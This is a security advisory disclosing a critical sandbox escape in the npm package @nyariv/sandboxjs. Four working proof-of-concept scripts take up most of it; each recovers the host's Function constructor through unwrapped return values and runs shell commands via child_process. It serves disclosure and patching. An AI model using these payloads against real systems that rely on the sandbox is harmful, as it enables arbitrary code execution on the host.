CRITICAL 10.0 npm

@nyariv/sandboxjs has a Sandbox Escape issue

GHSA-58jh-xv4v-pcx4 · CVE-2026-25520

Published · Modified

Description

Summary

The return values of functions aren't wrapped. Object.values/Object.entries can be used to get an Array containing the host's Function constructor, by using Array.prototype.at you can obtain the hosts Function constructor, which can be used to execute arbitrary code outside of the sandbox.

Details

The return values of functions aren't wrapped, chaining function calls allows bypassing most validation/sanitization.

PoC

const s = require('@nyariv/sandboxjs').default;
const sb = new s();

payload = `
console.log(
  Object.values(this).at(0)(
    "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
  )(),
);
`

sb.compile(payload)().run();
const s = require("@nyariv/sandboxjs").default;
const sb = new s();

payload = `
console.log(
  Object.entries(this)[0].at(1)(
    "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
  )(),
);
`

sb.compile(payload)().run();
const s = require("@nyariv/sandboxjs").default;
const sb = new s();

payload = `
console.log(
  Object.entries(this)
    .at(0)
    .map((f) => {
      if (typeof f === 'function') {
        f.call('', 'return process')()
          .getBuiltinModule('child_process')
          .execSync('ls -lah', { stdio: 'inherit' });
      }
    }),
);
`

sb.compile(payload)().run();
const s = require("@nyariv/sandboxjs").default;
const sb = new s();

payload = `
const t = (f) => {
  f.call('', 'return process')()
    .getBuiltinModule('child_process')
    .execSync('ls -lah', { stdio: 'inherit' });
};
console.log(t.call(...Object.entries(this)[0]));
`

sb.compile(payload)().run();
